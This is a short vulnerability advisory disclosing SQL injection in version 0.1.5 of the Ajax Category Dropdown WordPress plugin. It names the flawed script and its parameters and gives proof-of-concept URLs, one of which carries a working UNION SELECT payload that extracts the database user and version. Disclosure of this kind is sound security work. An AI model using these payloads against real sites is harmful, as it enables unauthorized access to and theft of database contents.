Vulnerability ID: HTB22946 Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_in_ajax_category_dropdown_wordpress_plugin.html Product: Ajax Category Dropdown wordpress plugin Vendor: http://www.dyasonhat.com/ ( http://www.dyasonhat.com/ ) Vulnerable Version: 0.1.5 Vendor Notification: 07 April 2011 Vulnerability Type: SQL Injection Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php" script to properly sanitize user-supplied input. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. The following PoC is available: http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?savepostcat&post_id=1&category_id=SQL_CODE_HERE http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?get_form_countries&cat_id=SQL_CODE_HERE http://[host]/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_level=2&category_id=1%20union%20select%201,user%28%29,3,4,5,6,7,8,9,version%28%29%20--%201